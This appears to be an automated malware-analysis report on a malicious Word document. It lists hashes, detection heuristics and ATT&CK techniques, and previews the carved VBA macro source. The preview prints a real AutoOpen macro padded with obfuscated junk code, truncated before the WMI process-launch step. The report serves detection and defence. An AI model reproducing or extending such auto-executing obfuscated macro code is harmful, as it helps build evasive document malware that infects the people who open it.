Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 78c7f1c6bd57c9b5…

MALICIOUS

Office (OLE)

190.8 KB Created: 2019-04-16 21:35:00 Authoring application: Microsoft Office Word First seen: 2019-12-09
MD5: e8140bbd3f8bc0a3ee23b13b89d141ef SHA-1: 745f4e60d6e600d50fb8b3e89d9e1c133b99d42d SHA-256: 78c7f1c6bd57c9b5fd9deccd6c8eee1d22dbcab88b6093c634c49f50d92d8fe9
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro utilizes GetObject and CreateObject to launch the Win32_Process WMI object, which is a common technique for executing arbitrary commands or downloading and running additional payloads. The presence of legacy WordBasic auto-exec markers and the specific WMI process creation heuristic strongly indicate malicious intent.

Heuristics 8

  • ClamAV: Doc.Malware.00536d-6943632-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6943632-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 30127 bytes
SHA-256: cd1a00b70d6151cd389b4d9db56a3213fd269563ba2b27859b33d16b58cf641b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "wo44kA1"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "uUBDAAo"
Attribute VB_Base = "0{88A72722-6403-4F11-B448-BC596D885A36}{86C7FDEA-E42B-49D7-ADA8-7D416ADB487C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "wAABADxC"
Attribute VB_Base = "0{6484D26A-BE1C-45C2-AF58-4A8E5A0E7BD2}{33D53F03-3478-41FA-9CD4-F7E2733AFCFC}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "KAAAoDD"
Sub autoopen()
   If UZQAwAAC = qXAG4A Then
      Select Case Oc4CQUo
         Case 969349542
            R1wA4_A = Rnd(KoAxUC + 942037776 + 687975853 / FAx4ZQ)
            XUAxAA = CByte(ZAXBDCA + 344368526 + rcXcBxwA + 374884900)
         Case 322670320
            lDwXABAX = YA_xZD
            GGAAUU = Tan(tAQZCw1 - CSng(EDXGXA))
      End Select
End If
   If a1ABCkDX = DCADA_ Then
      Select Case LU__XBQQ
         Case 711220903
            jUxUAZ4 = Rnd(FAA_xQ + 567263101 + 191585189 / i4xADA)
            EA1AUk = CByte(iAwAo1 + 711049906 + CUx_A1AU + 386001481)
         Case 655886223
            TA_AAQG = nwAAXZCA
            uAQAB_ = Tan(ncxx_Q_w - CSng(AAQxCk1X))
      End Select
End If
HZAxwB
   If mCoAAA = YQUCwAGG Then
      Select Case jCAGUBQ
         Case 190274555
            LGxXAUA = Rnd(IAABAU + 840681641 + 532224684 / PoAAUAQk)
            Q_oZAAA = CByte(kBAQZA + 317377305 + vcBxA1 + 631864099)
         Case 579884982
            PB_AGBoU = BAoDAAA
            OAUCUwk = Tan(qBowAB - CSng(MBQc4kA))
      End Select
End If
   If NDABxAAG = LGcAAZA Then
      Select Case RAADwD
         Case 694921720
            sC4QAoDD = Rnd(iBZAkZ4o + 13215510 + 328135561 / SAcXA_AA)
            QABACG = CByte(ocZDUU + 846028143 + d4wGUAk4 + 557056211)
         Case 573593820
            vkAC1AG = iACABX
            jAADQUwQ = Tan(AU1DkDQo - CSng(UD_XUZc))
      End Select
End If
   If NDx1ZA = kAAAXAAX Then
      Select Case WxcA_4
         Case 135347222
            YGCG4_c = Rnd(iX1DDoAc + 828108893 + 639457761 / RUABAU)
            fAABAQX = CByte(cAwk_QQU + 342679840 + IZQZGD + 133171956)
         Case 265857195
            SDAQAwxA = jCwA1Q
            sQAA_AXk = Tan(JDAAACXA - CSng(V1ZAU4A))
      End Select
End If
End Sub

Attribute VB_Name = "KAXAUAA"
Function HZAxwB()
On Error Resume Next
   If F_ocG1w = QDUDxBBo Then
      Select Case wBBG1ABB
         Case 659357985
            boQXDwA = Rnd(iAAxkAB + 265313653 + 809414708 / uAoAUAA)
            FUB1_Q = CByte(uAAQBA + 230241337 + rQZo1A + 649778930)
         Case 727446481
            AU_DAAQ = sDBDAGDA
            CZA4ZAAD = Tan(wABAU_AU - CSng(oA11Go))
      End Select
End If
   If Q1CcDB = ABDQkA1A Then
      Select Case zQAACQ
         Case 727736244
            RAAwQA = Rnd(sCD4w4A + 113526967 + 106493496 / uDDkU_D)
            iAUAAZ1w = CByte(rAAAAUA + 680286370 + j4BZU1Uc + 343252304)
         Case 363733054
            jccQQDU = iA_w_B
            UAQADXc_ = Tan(fQAoBoUA - CSng(vXAcx4))
      End Select
End If
If 4487 < 45396 Then
CZ4xAA = vbFalse
   If sB4BDA = ToAQDUx Then
      Select Case BQAAAAA
         Case 872224608
            m4AAADA = Rnd(tAQcBUQB + 950367787 + 506899189 / TACAkAA)
            RcDBBA_ = CByte(IADkAB + 484270488 + jGBADAQ + 381940670)
         Case 331829604
            iXXB_QA = BQ1AAAx
            rDBBUk = Tan(A4kQ_BZQ - CSng(NQAoZAkA))
      End Select
End If
   If dQAG_kQ = zGXAAxAo Then
      Select Case MkoUAo4
         Case 454854510
          
... (truncated)

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